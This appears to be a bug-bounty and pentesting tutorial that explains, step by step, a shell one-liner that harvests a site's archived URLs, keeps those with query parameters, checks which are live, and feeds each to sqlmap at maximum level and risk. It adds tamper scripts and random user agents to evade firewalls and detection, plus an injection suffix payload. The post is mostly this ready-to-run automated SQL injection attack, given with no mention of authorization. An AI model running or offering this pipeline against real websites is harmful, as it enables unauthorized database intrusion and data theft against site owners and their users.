This one-liner demonstrates how Bug Bounty Hunters and Pentesters can automate their workflow by using various tools and Linux techniques. It allows the extraction of URLs from any given website through passive fuzzing, filtering only those with query parameters for potential injection points. The script then checks the status codes of these URLs, proceeding with SQL injection attacks only when the correct status is received. It utilizes a highly optimized approach with SQLMap to enhance speed and balance the evasion strategy, employing blind SQL injection techniques to bypass defensive mechanisms and execute custom payloads.

➡️STEP 1:
waybackurls 'URL TARGET'
This tool extracts all URLs related to the target domain from the Wayback Machine. The purpose is to compile a list of all potential URLs from the target domain.

➡️STEP 2:
| grep '='
The output is piped to grep, which filters out all URLs containing the = character. This is typically done to identify URLs with query parameters, as these are more likely to be exploitable for SQL injection.

➡️STEP 3:
| httpx --silent --status-code
The filtered URLs are then piped to httpx, a fast HTTP toolkit used for checking the status codes of the URLs. The --silent flag suppresses unnecessary output, while --status-code displays the HTTP status code (e.g., 200, 404) for each URL, verifying whether they are live and reachable. This helps avoid working with dead links, saving resources and time.

➡️STEP 4:
| awk '{print $1}'
The output of httpx is then piped to awk, which extracts only the URLs, ignoring other details such as status codes, by printing the first field in each line ($1).

➡️STEP 5:
| xargs -I{} sqlmap -u {} -v 3 --random-agent --tamper "between,randomcase,space2comment" --level 5 --risk 3 --batch --threads 5 --crawl 2 --suffix=') and 1=1-- -'
Finally, each URL is passed to sqlmap using xargs. You can adjust the tampering techniques and add more options, as the defensive mechanisms in place may vary.

Breakdown of the key flags used:

-u {}: The URL from the previous pipe is inserted here for testing.
-v 3: Sets verbosity level 3 to see detailed output.
--random-agent: Uses a random user agent for each request to avoid detection.
--tamper "between,randomcase,space2comment": Uses tamper scripts to bypass certain WAF or security mechanisms, you can add/change more accordingly)
--level 5 --risk 3: Sets the level and risk of the testing to high (5 and 3 are maximum).
--batch: Automatically answers prompts to avoid user interaction.
--threads 5: Uses 5 threads to make the scanning faster.
--crawl 2: Crawls the website to depth 2, discovering even more URLs to test.
--suffix=') and 1=1-- -': Appends this payload to each tested parameter to exploit potential SQL injection vulnerabilities.
